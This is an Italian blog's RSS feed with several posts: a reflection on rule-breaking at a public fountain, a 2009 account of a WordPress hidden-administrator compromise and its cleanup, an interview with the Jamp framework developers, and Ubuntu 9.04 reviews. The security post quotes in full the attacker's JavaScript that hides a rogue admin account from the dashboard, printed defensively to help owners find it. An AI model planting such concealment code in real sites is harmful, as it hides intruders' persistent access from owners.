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	<title>Wilky Blog &#187; Informazione</title>
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	<description>Notizie - Informazione - Tecnologia</description>
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		<title>Il mondo è in crisi perché &#8230;</title>
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		<pubDate>Fri, 03 Sep 2010 18:54:11 +0000</pubDate>
		<dc:creator>Wilky</dc:creator>
				<category><![CDATA[Articoli Importanti]]></category>
		<category><![CDATA[Informazione]]></category>
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		<description><![CDATA[&#8230; perché è il mondo stesso a volerlo! Devo scrivere finché ho ancora fresche le parole in mente. Oggi è accaduto un evento particolare che mi ha dato la giusta ispirazione per scrivere questo articolo. Sono andato a prendere l&#8217;acqua alla fontana pubblica e ho trovato una fila di persone in attesa di prendere quella [...]]]></description>
			<content:encoded><![CDATA[<p><strong> </strong></p>
<strong><strong><a href="http://www.wilky.it/wordpress/wp-content/uploads/2010/09/donare.jpg"><img class="size-medium wp-image-938" title="Donare" src="http://www.wilky.it/wordpress/wp-content/uploads/2010/09/donare-300x300.jpg" alt="Donare" width="300" height="300" /></a></strong></strong>
<p><strong>&#8230; perché è il mondo stesso a volerlo!</strong></p>
<p>Devo scrivere finché ho ancora fresche le parole in mente.<br />
Oggi è accaduto un evento particolare che mi ha dato la giusta ispirazione per scrivere questo articolo.<br />
Sono andato a prendere l&#8217;acqua alla fontana pubblica e ho trovato una fila di persone in attesa di prendere quella gassata: al primo posto stava un tizio con una dozzina di bottiglie da riempire. Vi è una regola, iscritta direttamente sul pannello dei valori dell&#8217;acqua, che vieta di portare più di 6 bottiglie alla volta: <strong>allora perché la persona che stava riempendo le sue bottiglie ne aveva con sé addirittura 12?</strong><br />
La tecnologia c&#8217;è, i modi esistono, gli stili di vita migliori nascono dalle persone più virtuose: quel che manca è l&#8217;intento, la volontà e la forza di cambiare.<br />
Stasera <strong>3 tipi di persone</strong> hanno rivelato il perché della crisi mondiale (economica, culturale, morale).</p>
<p>Il primo tipo è l&#8217;uomo sopracitato, ossia <strong>il furbo</strong>, colui che cerca di fregare il sistema, di aggirare le regole, infischiandosene delle norme realizzate per una convivenza migliore. Questa stessa persona, nella sua vita, avrà l&#8217;occasione di ricevere lo stesso torto: forse a quel punto cambierà o forse si farà del sangue cattivo e odierà ancora di più il mondo.<br />
Il secondo tipo è formato dalle persone che si lamentano del comportamento del primo, comportandosi però a loro volta nella stessa maniera: un paio di signori si lamentavano appunto per la quantità di bottiglie eppure, quando è toccato a loro riempire le proprie, ne avevano forse un numero maggiore del primo. Questi sono <strong>gli ipocriti</strong>.<br />
Infine il terzo tipo: <strong>i tiepidi</strong>. I tiepidi sono quelli che non stanno né a destra, né a sinistra, quelli che non scelgono, quelli che non parlano e non fanno qualcosa per cambiare le cose. Questi direi che sono i peggiori.</p>
<p><strong>Io stasera ho parlato: ho avuto timore nel farlo ma l&#8217;ho fatto.</strong> Gentilmente ho fatto notare al primo tipo (il furbo) che vigeva la norma di non portare più di 6 bottiglie. Questo mi ha risposto che gli dispiaceva e poi se n&#8217;é andato.<br />
Sono stato l&#8217;unico a far notare al &#8220;furbo&#8221; che il suo era un comportamento scorretto verso tutti noi e anche verso se stesso: infatti la stessa cosa può capitare a lui, sempre che non gli sia già capitata. Allora a quel punto, due signori dopo il primo, mi hanno dato man forte nelle mie motivazioni ma già loro stessi prendeva il posto (<strong>in tutti i sensi</strong>) del &#8220;furbo&#8221;, diventando così &#8220;ipocriti&#8221;.<br />
Tutto intorno stavano i &#8220;tiepidi&#8221;, persone dallo sguardo vacuo, con un lieve accenno di nervosismo, di arrabbiatura, ma che non hanno avuto il coraggio di sporgersi, <strong>di mettersi in gioco per ciò che era giusto!</strong></p>
<p><strong>Ecco, la giustizia: quando si è nel giusto si ha il diritto e il dovere di fare qualcosa perché si mantenga uno stile di vita sano.</strong><br />
Ora è chiaro perché esistono le mafie, i giochi di potere, la corruzione e la crisi.<br />
Sì, sono partito da un esempio sciocco come quello dell&#8217;acqua ma si potrebbe arrivare a quelli sopracitati perché:</p>
<blockquote><p><em>&#8220;è così che tutto inizia sempre: dal molto piccolo.&#8221;</em> <strong>Egg Shen</strong> in <strong>Grosso Guaio a Chinatown</strong></p></blockquote>
]]></content:encoded>
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		<item>
		<title>Falla di sicurezza in WordPress</title>
		<link>http://www.wilky.it/wordpress/2009/09/08/falla-di-sicurezza-wp/</link>
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		<pubDate>Tue, 08 Sep 2009 14:03:20 +0000</pubDate>
		<dc:creator>Wilky</dc:creator>
				<category><![CDATA[Articoli Importanti]]></category>
		<category><![CDATA[Informatica]]></category>
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		<category><![CDATA[Novità]]></category>

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		<description><![CDATA[Questa mattina mi è arrivata una email da TopHost, l&#8217;azienda che fornisce hosting per i siti web, avvertendomi che era stata scoperta una falla di sicurezza nelle versioni di WordPress inferiori alla 2.8.4. La notizia mi ha subito allarmato dato che ultimamente alcuni utenti con nomi e soprattutto indirizzi email troppo particolari si registravano sul [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_770" class="wp-caption left" style="width: 310px"><a title="WordPress" href="http://www.wilky.it/wordpress/2009/09/08/falla-di-sicurezza-wp/"><img class="size-full wp-image-770" title="WordPress" src="http://www.wilky.it/wordpress/wp-content/uploads/2009/09/wordpress.jpg" alt="WordPress" width="300" height="300" /></a><p class="wp-caption-text">WordPress</p></div>
<p>Questa mattina mi è arrivata una email da <a title="TopHost" href="http://www.tophost.it/" target="_self"><strong>TopHost</strong></a>, l&#8217;azienda che fornisce hosting per i siti web, avvertendomi che era stata scoperta una <strong>falla di sicurezza</strong> <strong>nelle versioni di WordPress inferiori alla 2.8.4</strong>.<br />
La notizia mi ha subito allarmato dato che ultimamente alcuni utenti con nomi e soprattutto indirizzi email troppo particolari si registravano sul mio blog, senza commentare e interagire con esso.<br />
Leggendo l&#8217;email vengo a conoscenza di <strong>un modo per registrare un account da amministratore nascosto!</strong><br />
Faccio un veloce controllo e nella sezione <em>Utenti</em> del Pannello di WP trovo l&#8217;etichetta <em>Amministratori</em> seguita da un <strong>(2)</strong>: ovviamente sul mio blog vi è un solo account da amministratore e così ho controllato qual&#8217;era il nuovo arrivato&#8230; Niente, nisba, nada!<br />
Nella lista degli amministratori compariva solamente il mio account: ciò stava ad indicare che il mio sito era già stato attaccato e bucato anche perché non era stato aggiornato alla versione più recente (2.8.4).<br />
Così ho trovato una guida su <a title="JourneyETC" href="http://www.journeyetc.com/uncategorized/wordpress-permalink-rss-problems/" target="_self"><strong>JourneyETC</strong></a> per come riportare il tutto alla normalità: di seguito spiegherò i passi da me attuati per risolvere il problema.<br />
<span id="more-771"></span><br />
Innanzitutto ho <strong>aggiornato WordPress dalla 2.8.2 alla 2.8.4.</strong><br />
Si è presentato subito un problema con l&#8217;aggiornamento automatico:</p>
<blockquote><p><em>Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 122880 bytes) in /home/mhd-01/www.giuseppesurace.com/htdocs/wp-includes/class-simplepie.php on line 3679</em></p></blockquote>
<p>Ho risolto modificando la seguente riga del file <strong><em>settings.php</em></strong>, che potete trovare nella cartella principale di WP:</p>
<blockquote><p><em>if ( !defined(&#8216;WP_MEMORY_LIMIT&#8217;) )<br />
define(&#8216;WP_MEMORY_LIMIT&#8217;, &#8217;32M&#8217;);</em></p></blockquote>
<p>In :</p>
<blockquote><p><em>if ( !defined(&#8216;WP_MEMORY_LIMIT&#8217;) )<br />
define(&#8216;WP_MEMORY_LIMIT&#8217;, &#8217;40M&#8217;);</em></p></blockquote>
<p><em>P</em>er ulteriori informazioni vi rimando a <a title="Aggiornamento WP" href="http://www.prozone.it/smf/index.php?topic=3520" target="_self"><strong>questa</strong></a> discussione.</p>
<p>Dopodiché ho controllato se i miei permalink erano a posto: andando su <em>Impostazioni</em> e poi su<em> Permalink </em>fortunatamente non ho trovato problemi.<br />
Infine sono passato a setacciare gli utenti per trovare l&#8217;<strong>account nascosto da superuser</strong>.<br />
Mi è bastato andare nella sezione <strong><em>Utenti</em></strong> e posizionarmi su un utente a caso: in questo modo, in fondo a sinistra del browser è comparso il link della pagina di tale utente.<br />
L&#8217;ho copiato e l&#8217;ho inserito nella barra degli indirizzi del browser: ho passato al setaccio ogni singolo utente, partendo dal numero 2 fino a quando non trovavo più utenti.<br />
Per capire meglio guardate il seguente screenshot:</p>
<div id="attachment_772" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.wilky.it/wordpress/wp-content/uploads/2009/09/utenti.jpg"><img class="size-medium wp-image-772" title="Utenti" src="http://www.wilky.it/wordpress/wp-content/uploads/2009/09/utenti-300x124.jpg" alt="Utenti" width="300" height="124" /></a><p class="wp-caption-text">Utenti</p></div>
<p>Voi dovete modificare il suddetto link<strong> inserendo progressivamente i valori partendo dal 2 al posto del &#8220;10&#8243;</strong> evidenziato nello screenshot.<br />
Arriverete a trovare un utente con privilegi di amministratore invece del normale sottoscrittore.<br />
Noterete che nel campo <em>Nome</em> non vi è un nickname bensì una stringa particolarmente lunga, ossia <strong>il codice maligno che sfrutta la falla di WP</strong>:</p>
<blockquote><p><em>&lt;div id=&#8221;user_superuser&#8221;&gt;<br />
&lt;script language=&#8221;JavaScript&#8221;&gt;<br />
var setUserName = function(){<br />
try{<br />
var t=document.getElementById(&#8220;user_superuser&#8221;);<br />
while(t.nodeName!=&#8221;TR&#8221;){<br />
t=t.parentNode;<br />
};<br />
t.parentNode.removeChild(t);<br />
var tags = document.getElementsByTagName(&#8220;H3&#8243;);<br />
var s = &#8221; shown below&#8221;;<br />
for (var i = 0; i &lt; tags.length; i++) {<br />
var t=tags[i].innerHTML;<br />
var h=tags[i];<br />
if(t.indexOf(s)&gt;0){<br />
s =(parseInt(t)-1)+s;<br />
h.removeChild(h.firstChild);<br />
t = document.createTextNode(s);<br />
h.appendChild(t);<br />
}<br />
}<br />
var arr=document.getElementsByTagName(&#8220;ul&#8221;);<br />
for(var i in arr) if(arr[i].className==&#8221;subsubsub&#8221;){<br />
var n=/&gt;Administrator ((d+))&lt;/gi.exec(arr[i].innerHTML);<br />
if(n[1]&gt;0){<br />
var txt=arr[i].innerHTML.replace(/&gt;Administrator ((d+))&lt;/gi,&#8221;&gt;Administrator (&#8220;+(n[1]-1)+&#8221;)&lt;&#8221;);<br />
arr[i].innerHTML=txt;<br />
}<br />
}<br />
}catch(e){};<br />
};<br />
addLoadEvent(setUserName);<br />
&lt;/script&gt;<br />
&lt;/div&gt;</em></p></blockquote>
<p><em>C</em>ancellate il campo <em>Nome</em> inserendogli un bel &#8220;<strong>BASTARDO</strong>&#8221; e <strong>modificate i privilegi da amministratore a sottoscrittore</strong>: probabilmente dovrete inserire anche un indirizzo email quindi mettetene uno fasullo e salvate le modifiche.<br />
Ora il vostro furbone risulterà fra i normali utenti: per evitare rotture cancellatelo <img src='http://www.wilky.it/wordpress/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Di seguito riporto anche la <strong>lista degli utenti sospetti</strong> con i relativi nickname e email che potrebbero registrarsi sul vostro sito (probabilmente sono BOT che scandagliano la rete in cerca di prede aventi WP &lt; 2.8.4):</p>
<ul>
<li><strong>Andrianq : <a title="e-mail: pulvillarrac@gmail.com" href="mailto:pulvillarrac@gmail.com">pulvillarrac@gmail.com</a></strong></li>
<li><strong>MikeWink : <a title="e-mail: bugbeemershonyhe@gmail.com" href="mailto:bugbeemershonyhe@gmail.com">bugbeemershonyhe@gmail.com</a></strong></li>
</ul>
<p>Altri link utili:</p>
<ul>
<li><a title="Lorelle" href="http://lorelle.wordpress.com/2009/09/04/old-wordpress-versions-under-attack/" target="_self"><strong>Lorelle</strong></a></li>
<li><strong><a title="WordPress-it.it" href="http://www.wordpress-it.it/2009/09/06/aggiornate-aggiornate-poi-non-dite-che-non-ve-lo-avevamo-detto/" target="_self">WordPress-it.it</a><br />
</strong></li>
</ul>
]]></content:encoded>
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		</item>
		<item>
		<title>Jamp : l&#8217;intervista</title>
		<link>http://www.wilky.it/wordpress/2009/05/05/jampin/</link>
		<comments>http://www.wilky.it/wordpress/2009/05/05/jampin/#comments</comments>
		<pubDate>Tue, 05 May 2009 18:41:38 +0000</pubDate>
		<dc:creator>Wilky</dc:creator>
				<category><![CDATA[Articoli Importanti]]></category>
		<category><![CDATA[Informatica]]></category>
		<category><![CDATA[Informazione]]></category>
		<category><![CDATA[Interessi]]></category>
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		<description><![CDATA[Oggi pomeriggio, il blog ha intervistato via chat i due sviluppatori del progetto Jamp: Giampiero Ancilletta e Ruben Patanè. Eccovi dunque l&#8217;intervista esclusiva! Wilky : partiamo innanzitutto nel sapere che cos&#8217;è Jamp. Jamp : JAMP è l&#8217;acronimo di Javascript AJAX Mysql PHP, si tratta di un framework opensource per lo sviluppo di applicazioni WEB. W. [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_673" class="wp-caption left" style="width: 310px"><a rel="attachment wp-att-673" href="http://www.wilky.it/wordpress/2009/05/05/jampin/jamp1/"><img class="size-medium wp-image-673" title="Javascript AJAX MySQL PHP" src="http://www.wilky.it/wordpress/wp-content/uploads/2009/05/jamp1-300x225.jpg" alt="Jamp" width="300" height="225" /></a><p class="wp-caption-text">Javascript AJAX MySQL PHP</p></div>
<p>Oggi pomeriggio, il blog ha intervistato via chat i due sviluppatori del progetto <a title="Jamp" href="http://jamp.alyx.it/" target="_blank"><strong>Jamp</strong></a>: <strong>Giampiero Ancilletta e Ruben Patanè</strong>.<br />
Eccovi dunque l&#8217;intervista esclusiva!</p>
<p><span style="color: #ff0000;"><strong><em>Wilky</em></strong></span> : partiamo innanzitutto nel sapere che cos&#8217;è Jamp.<br />
<span style="color: #3366ff;"><strong><em>Jamp</em></strong></span> : JAMP è l&#8217;acronimo di <strong>Javascript AJAX Mysql PHP</strong>, si tratta di un <strong>framework opensource</strong> per lo sviluppo di applicazioni WEB.<br />
<span style="color: #ff0000;"><em><strong>W.</strong></em></span> : Chi sviluppa e chi ha ideato Jamp?<br />
<span style="color: #3366ff;"><em><strong>J.</strong></em></span> : Sviluppatori e fondatori del progetto sono: Ruben Patanè e Giampiero Ancilletta.<br />
<span style="color: #ff0000;"><em><strong>W.</strong></em></span> : Jamp: un framework all&#8217;italiana quindi. Com&#8217;è nato questo progetto? E qual è stata l&#8217;idea che vi ha portato a realizzarlo?<br />
<span style="color: #3366ff;"><em><strong>J.</strong></em></span> : Jamp è nato da una nostra esigenza, quella di <strong>realizzare applicazioni in modo veloce</strong>. Dovevamo creare applicazioni desktop via WEB ma non potevamo ricominciare da zero per ogni programma. Allora un giorno con Giampiero abbiamo deciso di trovare una soluzione e da li è nato Jamp.<br />
<span style="color: #ff0000;"><em><strong>W.</strong></em></span> : Dunque quali sono i punti di forza del framework?<br />
<span style="color: #3366ff;"><em><strong>J.</strong></em></span> :</p>
<ul>
<li> <strong>Architettura semplice ed efficace.</strong></li>
<li> <strong>Flessibilità</strong>: l&#8217;utente che utilizza Jamp non ha limiti imposti dal framework perché puo&#8217; inserire il suo codice.</li>
<li> <strong>Open Source</strong>: altre persone potranno essere conivolte nel progetto per miglioralo.</li>
<li> <strong>Completo</strong>: In JAMP potrete trovare tutto quello che serve per creare le proprie applicazioni: oggetti, report pdf, grafici, mappe, editor web, editor di sintassi e altro ancora.</li>
<li> <strong>Cross-browser</strong> <strong>e multipiattaforma.</strong></li>
</ul>
<p><span style="color: #ff0000;"><em><strong>W.</strong></em> </span>: Javascript, Ajax, MySQL, PHP: altro?<br />
<span style="color: #3366ff;"><em><strong>J.</strong></em></span> : Il framework è formato da codice PHP e Javascript, menzioniamo MySQL per identificare i database essendo un progetto importante nel mondo Open Source. Jamp è in grado di lavorare con <strong>qualsiasi fonte dati</strong>: file xml, file record, file con separatori, filesystem, ssh, ftp, ldap, MySQL&#8230; la versione finale supporterà anche: MSSql, Oracle e Postgre.<br />
<em><strong><span style="color: #ff0000;">W.</span> </strong></em>: Perciò per chi è destinato Jamp?</p>
<div id="attachment_682" class="wp-caption right" style="width: 310px"><img class="size-medium wp-image-682" title="Cross Browser" src="http://www.wilky.it/wordpress/wp-content/uploads/2009/05/jamp2-300x225.jpg" alt="Cross Browser" width="300" height="225" /><p class="wp-caption-text">Cross Browser</p></div>
<p><span style="color: #3366ff;"><em><strong>J.</strong></em></span> : Il framework è nato con l&#8217;obiettivo principale di velocizzare il lavoro di sviluppo ma di fatto lo ha reso anche <strong>molto più semplice</strong>, per questo motivo anche persone che non hanno una grande esperienza in programmazione possono utilizzare il framework. Attualmente stiamo lavorando allo <strong>sviluppo della GUI</strong> che renderà il tutto ancora più semplice.<br />
<span style="color: #ff0000;"><em><strong>W.</strong></em></span> : Quindi al momento è possibile lavorare solo con un editor di testo?<br />
<span style="color: #3366ff;"><em><strong>J.</strong></em></span> : Per il momento l&#8217;utente utilizza il proprio editor preferito, c&#8217;è da dire che il codice da scrivere è poco perché il sorgente è formato da due file, di cui uno in PHP, e il layout della pagina è contenuto in un file xml.<br />
<span style="color: #ff0000;"><em><strong>W.</strong></em></span> : Parlando di versione, attualmente a che punto è il progetto?<br />
<span style="color: #3366ff;"><em><strong>J.</strong></em></span> : Siamo alla <strong>beta 3.2</strong> e stiamo lavorando per rilasciare la <strong>Release Candidate</strong>. Entro l&#8217;anno contiamo di rilasciare la <strong>versione stabile</strong>.<br />
<span style="color: #ff0000;"><em><strong>W.</strong></em></span> : Immagino che vi servirà tutto l&#8217;aiuto possibile: a tale proposito, se qualcuno volesse unirsi al progetto, cosa deve fare?<br />
<span style="color: #3366ff;"><em><strong>J.</strong></em></span> : Basta contattarci. Nel nostro sito web <strong>http://jamp.alyx.it</strong> sono inseriti i nostri contatti. Ci tengo a sottolineare che il progetto è <strong>aperto a tutti</strong>: l&#8217;unica qualità che realmente ci interessa è un pizzico di <strong>buona volontà e costanza</strong>.<br />
<span style="color: #ff0000;"><em><strong>W.</strong></em> </span>: Avete altro da aggiungere che non sia già stato detto?<br />
<span style="color: #3366ff;"><em><strong>J.</strong></em></span> : Sì: contiamo sulla <strong>community</strong> per poter far crescere e divulgare il progetto e per diventare uno dei più importanti <strong>framework.</strong></p>
<p>E <strong>Wilky.it</strong> vi augura sinceramente di farcela a realizzare le vostre idee e i vostri progetti in un futuro non troppo lontano <img src='http://www.wilky.it/wordpress/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
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		<item>
		<title>Ubuntu 9.04: prime impressioni</title>
		<link>http://www.wilky.it/wordpress/2009/05/03/904-impressioni/</link>
		<comments>http://www.wilky.it/wordpress/2009/05/03/904-impressioni/#comments</comments>
		<pubDate>Sun, 03 May 2009 12:47:54 +0000</pubDate>
		<dc:creator>Wilky</dc:creator>
				<category><![CDATA[Informatica]]></category>
		<category><![CDATA[Informazione]]></category>
		<category><![CDATA[Interessi]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Novità]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Software Libero]]></category>
		<category><![CDATA[Ubuntu]]></category>

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		<description><![CDATA[E&#8217; da un po&#8217; di giorni che ho aggiornato la mia Ubuntu 8.10 alla nuova 9.04. Partiamo dalla schermata di loading e di login: sinceramente preferivo quelle della versione precedente La schermata di caricamento iniziale ha perso molto, sostituendo la voluminosa barra arancione con una molto più sottile e secondo me minimale: pensavo la tenessero [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_664" class="wp-caption left" style="width: 310px"><a rel="attachment wp-att-664" href="http://www.wilky.it/wordpress/2009/05/03/904-impressioni/ubuntu-login/"><img class="size-medium wp-image-664" title="Login Ubuntu 9.04" src="http://www.wilky.it/wordpress/wp-content/uploads/2009/05/ubuntu-login-300x164.jpg" alt="Login Ubuntu 9.04" width="300" height="164" /></a><p class="wp-caption-text">Login Ubuntu 9.04</p></div>
<p>E&#8217; da un po&#8217; di giorni che ho aggiornato la mia <strong>Ubuntu 8.10</strong> alla nuova <strong>9.04</strong>.<br />
Partiamo dalla schermata di <strong>loading</strong> e di<strong> login</strong>: sinceramente preferivo quelle della versione precedente <img src='http://www.wilky.it/wordpress/wp-includes/images/smilies/icon_neutral.gif' alt=':|' class='wp-smiley' /><br />
La schermata di caricamento iniziale ha perso molto, sostituendo la <a title="Barra di Caricamento" href="http://i292.photobucket.com/albums/mm33/alhakim_linux/ubuntu_boot.png" target="_blank"><strong>voluminosa barra arancione</strong></a> con una molto più sottile e secondo me minimale: pensavo la tenessero solo durante la beta ma hanno deciso di usarla nell&#8217;ufficiale.<br />
Passando al login ci si ritrova in una schermata buia che non ha nulla di invitante: quella della 8.10 era chiara con colori caldi come l&#8217;arancione che invitavano a provarla, mentre con l&#8217;attuale sembra che abbiano voluto renderla più &#8220;<em>cool</em>&#8220;, senza riuscirci ovviamente.<br />
Rimanendo nell&#8217;ambito grafico vi è un nuovo tema che però non ho potuto (né voluto) provarlo, quindi non faccio commenti in merito.<br />
Il sistema di notifiche non mi dice nulla di che: inizialmente sembrava molto interessante, poi però quando arrivavano nuove notifiche mi si <strong>bloccava l&#8217;intero sistema</strong> per qualche secondo, e ho cambiato idea.<br />
Forse sono l&#8217;unico ad avere questo problema (altri lo hanno riscontrato?) eppure mi ricorda molto Vista&#8230;.</p>
<p>Passiamo a cose più interessanti: <strong>la rete Wireless!</strong><br />
Nella 8.10 avevo avuto molti problemi col <a title="Network Manager" href="http://projects.gnome.org/NetworkManager/" target="_blank"><strong>Network Manager</strong></a> tanto da disabilitarlo completamente e di andare con lo splendido <a title="WPA Supplicant" href="http://hostap.epitest.fi/wpa_supplicant/" target="_blank"><strong>wpa_supplicant</strong></a>: avevo provato anche <a title="Wicd" href="http://wicd.sourceforge.net/" target="_blank"><strong>Wicd</strong></a> ma senza successo.<br />
Ricordo che il tutto è stato provato su una scheda <strong>Intel PRO/Wireless 4965AGN</strong>.<br />
Con Ubuntu 9.04 mi sono ritrovato con lo stesso problema: il Network Manager non ne voleva sapere di connettersi a reti Wireless WPA/WPA2.<br />
Addirittura anche il wpa_supplicant in certi casi aveva problemi a connettersi!<br />
Ero dell&#8217;idea di tornare alla 8.10 quando mi è venuto in mente Wicd: l&#8217;ho installato e come per magia, <strong>tutto si è messo a posto</strong> <img src='http://www.wilky.it/wordpress/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<div id="attachment_665" class="wp-caption right" style="width: 310px"><a rel="attachment wp-att-665" href="http://www.wilky.it/wordpress/2009/05/03/904-impressioni/ubuntu-notify/"><img class="size-medium wp-image-665" title="Ubuntu Notify" src="http://www.wilky.it/wordpress/wp-content/uploads/2009/05/ubuntu-notify-300x156.jpg" alt="Ubuntu Notify" width="300" height="156" /></a><p class="wp-caption-text">Ubuntu Notify</p></div>
<p>Attualmente mi connetto alle reti WPA/WPA2 tramite tale programma e dove lui non arriva subentra il mitico wpa_supplicant <img src='http://www.wilky.it/wordpress/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /><br />
C&#8217;è però una cosa bella da sottolineare: nella nuova versione di Ubuntu, dopo le ibernazioni e le sospensioni, <strong>la rete rimane configurata e funzionante!</strong><br />
Se ricordate nella 8.10 quando lo si ibernava/sospendeva, dopo che lo si risvegliava, bisognava riconnettersi alla rete a cui si aveva l&#8217;accesso: ora invece il problema è risolto.<br />
Non so come abbiamo ovviato alla cosa ma vedrò di fare un po&#8217; di ricerche <img src='http://www.wilky.it/wordpress/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Una nuova applicazione che compare nel sotto menu &#8220;<em>Amministrazione</em>&#8221; è la <strong>Pulizia del Computer</strong>: un tool pratico che consente tramite un&#8217;interfaccia grafica di<strong> ripulire</strong> la vostra macchina dai pacchetti inutilizzati o che non hanno più utilità.<br />
Per chi non lo sapesse è possibile fare la stessa cosa da shell tramite i comandi:<br />
<code><br />
sudo apt-get autoclean<br />
sudo apt-get autoremove.<br />
</code><br />
Un altro punto a favore della Lepre Cornuta sono i soliti <strong>programmi aggiornati alla versione più recente</strong>: un esempio sono Firefox, Brasero (all-in-one), Wine, Thunderbird, Elisa Media Center.</p>
<p>Che dire della nuova Ubuntu: ha <strong>alcune pecche</strong> da risolvere e alcuni software inutili, almeno secondo il mio parere, però porta una <strong>nuova ventata di aggiornamenti</strong> utili e anche indispensabili.<br />
Se volete provarla anche voi, vi consiglio di provarla prima su un computer secondario, poi se vi ci trovate bene e se vi sembra adatta ai vostri scopi di installarla anche sulla macchina su cui lavorate/studiate!<br />
Se invece siete degli smanettoni che non sanno resistere, fate subito l&#8217;aggiornamento e iniziate a scancherare con la Lepre Cornuta <img src='http://www.wilky.it/wordpress/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
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		<title>Ubuntu 9.04 : Jaunty Jackalope</title>
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		<pubDate>Wed, 15 Apr 2009 10:12:48 +0000</pubDate>
		<dc:creator>Wilky</dc:creator>
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		<category><![CDATA[Tecnologia]]></category>
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		<description><![CDATA[Ancora una settimana e la nuova versione di Ubuntu (stabile) sarà disponibile per i vostro PC! Si tratta di Ubuntu 9.04 Jaunty Jackalope, ossia la Lepre Cornuta Disinvolta Per chi non può aspettare è già disponibile la Beta scaricabile sia per Desktop che per Server: è inoltre possibile aggiornare il proprio sistema evitando così di [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_628" class="wp-caption left" style="width: 231px"><a rel="attachment wp-att-628" href="http://www.wilky.it/wordpress/2009/04/15/ubuntu-jaunty/jackalope/"><img class="size-medium wp-image-628" title="Lepre Cornuta Disinvolta" src="http://www.wilky.it/wordpress/wp-content/uploads/2009/04/jackalope-221x300.jpg" alt="Lepre Cornuta Disinvolta" width="221" height="300" /></a><p class="wp-caption-text">Lepre Cornuta Disinvolta</p></div>
<p>Ancora una settimana e la nuova versione di Ubuntu (stabile) sarà disponibile per i vostro PC!<br />
Si tratta di <a title="Ubuntu 9.04 Jaunty Jackalope" href="http://www.ubuntu.com/testing/jaunty/beta" target="_blank"><strong>Ubuntu 9.04 Jaunty Jackalope</strong></a>, ossia la <strong>Lepre Cornuta Disinvolta</strong> <img src='http://www.wilky.it/wordpress/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
Per chi non può aspettare è già disponibile la Beta scaricabile sia per Desktop che per Server: è inoltre possibile aggiornare il proprio sistema evitando così di scaricare 700MB di file.<br />
Da buon informatico sconsiglio il cambio di versione sulla vostra macchina dove lavorate quotidianamente: usate piuttosto un altro computer (magari quello della vostra ragazza <img src='http://www.wilky.it/wordpress/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ) per fare dei test e delle prove.<br />
Oppure vi consiglio caldamente<strong> la via della virtualizzazione</strong>: installatevi <a title="Virtual Box" href="http://www.virtualbox.org/" target="_blank"><strong>Virtual Box</strong></a>, scaricatevi l&#8217;immagine della versione che volete provare et voilà, le jeux sont fait!<br />
Giusto per curiosità: la prossima versione è la 9.10, ossia il <strong>Koala Karmico</strong>, disponibile il 29 Ottobre di questo anno.<br />
Una cosa alla voltà però, non corriamo troppo <img src='http://www.wilky.it/wordpress/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Quindi quali sono <strong>le novità</strong> che la Lepre Cornuta ci porterà?<br />
Andiamole a scoprire :</p>
<ul>
<li><a title="Gnome 2.26" href="http://library.gnome.org/misc/release-notes/2.26/" target="_blank"><strong>Gnome 2.26</strong></a> : l&#8217;ultima versione dell&#8217;ambiente grafico di base di Ubuntu. Include a sua volta delle novità per <a title="Brasero" href="http://projects.gnome.org/brasero/" target="_blank"><strong>Brasero</strong></a>: non dovrete più usare 4-5 applicazioni diverse per masterizzare o copiare CD/DVD ma potrete comodamente usare la nuova versione <strong>all-in-one</strong> che vi permetterà di gestire il tutto tramite un unico pannello di comandi. Vi sono anche delle migliorie per quanto riguarda la gestione della risoluzione del monitor.</li>
<li><a title="X.Org server 1.6" href="http://xorg.freedesktop.org/wiki/" target="_blank"><strong>X.Org server 1.6</strong></a> : l&#8217;ultima versione del server grafico garantisce le seguenti novità: nuovi driver liberi per un buon numero di schede video; aggiustamenti e migliorie per i <strong>driver ATI</strong>; l&#8217;accelerazione 2D è garantita dalla nuova famiglia di driver <strong>R6xx/R7xx</strong>, mentre quella 3D è garantita dai driver proprietari R6xx/R7xx.</li>
<li><strong>Nuovo sistema di notifiche</strong> : tramite un semplice menu potrete gestire le finestre di notifica ma per una migliore comprensione vi rimando al <a title="Sistema di Notifiche" href="http://www.markshuttleworth.com/wp-content/uploads/2008/12/jaunty904_notifications_example1_web_092.swf" target="_blank"><strong>filmato di dimostrazione</strong></a> (richiede Adobe Flash Player).</li>
<li>Migliorie nella <strong>fase di boot.</strong></li>
<li><a title="Linux Kernel" href="http://www.kernel.org/" target="_blank"><strong>Linux Kernel</strong></a> : la nuova versione sarà dotata del penultimo kernel 2.6.28-11.37 basato sul kernel 2.6.28.</li>
<li><a title="Ext4" href="http://it.wikipedia.org/wiki/Ext4" target="_blank"><strong>Ext4</strong></a> : il nuovo filesystem sarà presente ma non impostato di default durante la fase d&#8217;installazione. Probabilmente sarà impostato come tale più avanti nelle prossime versioni basandosi sul feedback degli utenti.</li>
<li><a title="Cloud Computing" href="http://it.wikipedia.org/wiki/Cloud_computing" target="_blank"><strong>Cloud Computing</strong></a> : l&#8217;edizione server ha come feature la tecnologia open source <a title="Eucalyptus" href="http://eucalyptus.cs.ucsb.edu/" target="_blank"><strong>Eucalyptus</strong></a> che permette di usare in modo facile il proprio server per testare e fare esperimenti sul cloud computing (vedesi cluster).</li>
<li><strong>Kerneloops</strong> : è un pacchetto che si invita ad installare per aiutare la comunità a sviluppare miglioramenti per il kernel linux. In pratica gestisce i &#8220;crash&#8221; del kernel, inviando <strong>un rapporto</strong> agli sviluppatori che verrà analizzato e gestito.</li>
